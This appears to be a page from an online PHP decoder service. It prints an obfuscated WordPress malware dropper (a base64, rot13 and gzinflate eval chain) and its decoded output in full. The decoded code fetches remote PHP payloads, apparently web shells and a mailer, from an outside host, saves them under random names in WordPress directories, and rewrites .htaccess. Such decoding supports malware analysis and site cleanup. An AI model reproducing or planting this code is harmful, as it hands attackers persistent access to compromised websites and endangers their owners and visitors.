Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $tAibI = 'b'.'ase'.'64'.'_'.'decod'.'e'; $KgJfR = 's'.'tr'.'_r'.'ot13'; $zQODK = 'gz..
Decoded Output download
error_reporting(0); $p_olux = str_replace("../", "", "/var/www/kushan.org/htdocs/wp-admin/nq98DKgFUj2.php"); $p_mailer = str_replace("../", "", "/var/www/kushan.org/htdocs/wp-content/ofrebKd3BW1.php"); $p_xleet = str_replace("../", "", "/var/www/kushan.org/htdocs/wp-includes/SJ8MTgLm46G.php"); $root = str_replace("../", "", "/var/www/kushan.org/htdocs/"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); } } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); } } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "GYKXc54Hkpt", $mailer); save($p_mailer, $mailer); } } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); } Did this file decode correctly?
Original Code
<?php $tAibI = 'b'.'ase'.'64'.'_'.'decod'.'e'; $KgJfR = 's'.'tr'.'_r'.'ot13'; $zQODK = 'gzin'.'flate'; $yGFMN = 'st'.'rrev'; error_reporting(0); ini_set('display_errors', 0); ini_set('log_errors', 0); eval($yGFMN($zQODK($KgJfR($tAibI('nZWLZeI2FIZfUvGkM9BWeQhKF5oOWFlPUCA1ptvMsvUITAZijOXKIrDD5t175FshWNg0zDC2Z37959PRxegZtYobsThSdFcURE+wS6iKKhjjpwX6hCMISqv10qGww5YLgk3KJfVKDrtm+007mH4efE/hIkc31Ak8DakIgiYVHl9GM5g65yfo2bjrDI1Ov3RbcHDyh25hf09BwLq5yH2LVeY5VKdGmXgaJ/t7P5WGdYQ/5M1ghHXgzQMj77kkd/LOepgJyibRSdCvKK7IFhWz0nVfA+oUf0kLeOb7S75j6mOmKYUFEWt2zykP0bdiKNenqiXjrnzK4XvigutOcosHioopB2bIwwQXRMbSKsoyC0J17eTZvvSXb4GM+werO7o6AeozUvakhY+os/JW4J2H673VfFNVrjinvoeXQJq82G6+2GxREeHjWrVT/rp9uJbmm8M/pUAJ9lAob0+bjd8Waqw0S6Xfpu0DFUMkMp6V9Ipeady6QSqNGq7Wm0GD4KbuklPF1RsaffJ89RHqFIGlq3a/UaEQC6UQiYCKgBFb0Lktu2kBQ1MgdBeJyNtDWw4/kZnTOghX/Q0Qxs+8CsCeBX6EXnY4uEeduWiiE9Ko49qsTdZWiTi4T3i6fvE9+uvkdkEJnvO8wr1M+Qzo5HCXOu3+EWd2ht1XZuZcNC6g1oDawOXaUqlHrZSIQZ3a/4FBRcZUJYX5HrnF+SkK+FdDHtMXFQ47dyEwqAMaMmrfbAlUINlYXDrTyKdlR6LfRsocmUEeppcxJYMJmCdVsGUlzzZokicNcgHgkjko4SsWTgmLyk3ZI4yvCmoHJ5e+5E2FCdc+RNr7CtELs2s9/1B7YcGhcySrbsoACGZ87/MVIMb9QyICcCPmExu6VtImFLLJJhQqG9AqfkmsoWTdsVpwPLHvLetT+XEaf0/LBog4FFSs+9HAnGeBC5xRyASNRetFHWeTkWTXt96msrrGYzjqHhODaTy6bOj1AcUejMfHtaYBl99btHKp7Y2HHdMamhPLMI94h6O+1emOBh9Ug8Go96oWpRBKHePmiKEsNzqD4BFaTmuBl60RUeVWjhe88EiEWE1ArpcYHdz9iWd7QBAf0XwbweHXIsIcsdDmnKkBXlGrVHq9XngcP3byipd/WkhfXunx51AOl9/a621oOZhbas3fx7sfmWo6p9dcc17++KHi3M4oapmWQeTd3vndn5lffJn05rdKWv2fQAu8pYPfep3eZ2UHFOaBJziLcIxmiv4F'))))); ?>Function Calls
| strrev | 1 |
| ini_set | 2 |
| gzinflate | 1 |
| str_rot13 | 1 |
| base64_decode | 1 |
| error_reporting | 1 |
Stats
| MD5 | b1593a1723e92003bfa638ffdd7ac2f4 |
| Eval Count | 1 |
| Decode Time | 63 ms |